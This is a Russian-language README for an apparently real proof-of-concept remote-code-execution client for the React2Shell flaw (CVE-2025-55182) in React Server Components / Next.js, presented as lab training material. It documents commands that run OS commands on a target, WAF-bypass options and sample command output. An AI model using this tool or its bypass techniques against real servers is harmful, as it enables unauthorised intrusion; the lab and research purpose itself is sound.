Сканер React2Shell – с PoC

CVE-2025-55182 – PoC RCE для React Server Components
Обучающий эксплойт-клиент для лаборатории React2Shell от Hidden Investigations.

Этот репозиторий содержит эксплойт-инструмент уровня proof-of-concept (PoC) для одного хоста, предназначенный для уязвимости React2Shell (CVE-2025-55182), нацеленной на некорректно сконфигурированные приложения React Server Components / Next.js.

Он предназначен для использования только против официальной лаборатории React2Shell от Hidden Investigations или систем, которыми вы явно владеете / которые администрируете.

⚠️ Юридический и этический отказ от ответственности

Этот проект предоставляется строго для образовательных и защитных исследований безопасности:

• Используйте этот инструмент только на:
  • Официальной лаборатории Hidden Investigations React2Shell, или
  • Системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
• Не направляйте его на случайные веб-сайты, боевые системы или инфраструктуру, которой вы не управляете.
• Авторы и Hidden Investigations не несут ответственности за неправомерное использование или ущерб.

Используя этот инструмент, вы соглашаетесь соблюдать все применимые законы и нормативные требования.

Возможности

• 🔥 Эксплойт-клиент React2Shell для CVE-2025-55182
• 🎯 Ориентированность на один хост (без массового сканирования)
• 📡 Поддержка произвольных путей и списков путей
• 🧪 Режим безопасной проверки (без OS-команд, только детектирующий зонд)
• 🪟 Дружественный к Windows режим (по умолчанию whoami)
• 🛡️ Помощники обхода WAF:
  • Мусорное multipart-поле (--waf-bypass, --waf-bypass-size)
  • Изменение раскладки Vercel (--vercel-waf-bypass)
• 🔐 Параметры TLS (--insecure, пользовательские заголовки)
• 🧾 Вывод в JSON (-o/--output, --all-results)
• 🧘 Чистый вывод в тихом режиме (отлично подходит для передачи в другие инструменты)

Требования

• Python: 3.8+ (проверено на Python 3.10+)
• Зависимости:
  • requests

Установите зависимости через:

pip install -r requirements.txt

Установка

1. Клонируйте репозиторий Hidden Investigations:

git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc

2. (Необязательно, но рекомендуется) Создайте виртуальное окружение:

python3 -m venv venv
source venv/bin/activate   # On Windows: venv\Scripts\activate

3. Установите зависимости:

pip install -r requirements.txt

4. Запустите инструмент:

python3 react2shell-scanner.py -h

Использование

Базовая справка:

python3 react2shell-scanner.py -h

Инструменту требуется целевой URL:

python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"

Если запустить его без -t/--target или -u/--url, он выведет фирменное справочное сообщение и завершится.

Параметры командной строки

Цель и пути

Примечание: Этот PoC только для одного хоста. Опция -l/--list присутствует, но намеренно отключена.

Поведение эксплойта / полезной нагрузки

Параметры HTTP / TLS

Параметры вывода / интерфейса

Пример тихого режима (удобный многострочный вывод):

python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"

Вывод:

total 12
drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
-rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
-rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js

Флаги массового сканирования (намеренно отключены)

Следующие флаги существуют для зеркалирования CLI Assetnote, но не реализованы в этом PoC, чтобы избежать злоупотребления массовым сканированием:

Если вы используете -l/--list, инструмент выведет предупреждение и завершится, предлагая использовать оригинальный react2shell-scanner от Assetnote для безопасного крупномасштабного сканирования.

Примеры

Запуск против локальной лаборатории:

python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"

Использование обхода WAF с большим мусорным полем:

python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"

Несколько путей на одном хосте:

python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"

Пути из файла:

python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"

Режим безопасной проверки (без выполнения OS-команд):

python3 react2shell-scanner.py -t http://localhost:3000 --safe-check

Вывод результатов в JSON-файл:

python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results

Формат JSON-вывода

При использовании -o/--output инструмент записывает массив объектов, например:

[
  {
    "url": "http://localhost:3000/",
    "path": "/",
    "success": true,
    "status": "success",
    "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
    "http": {
      "status_code": 302,
      "headers": {
        "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
        "...": "..."
      }
    }
  }
]

Авторы и благодарности

• Hidden Investigations – за публикацию образовательной лаборатории React2Shell и PoC-клиента.
• @sakibulalikhan – автор инструмента.
• Assetnote – вдохновение для идей обхода WAF через их react2shell-scanner.

Лицензия

Этот проект распространяется под лицензией MIT. Подробности см. в LICENSE.

📬 Свяжитесь с нами: [email protected]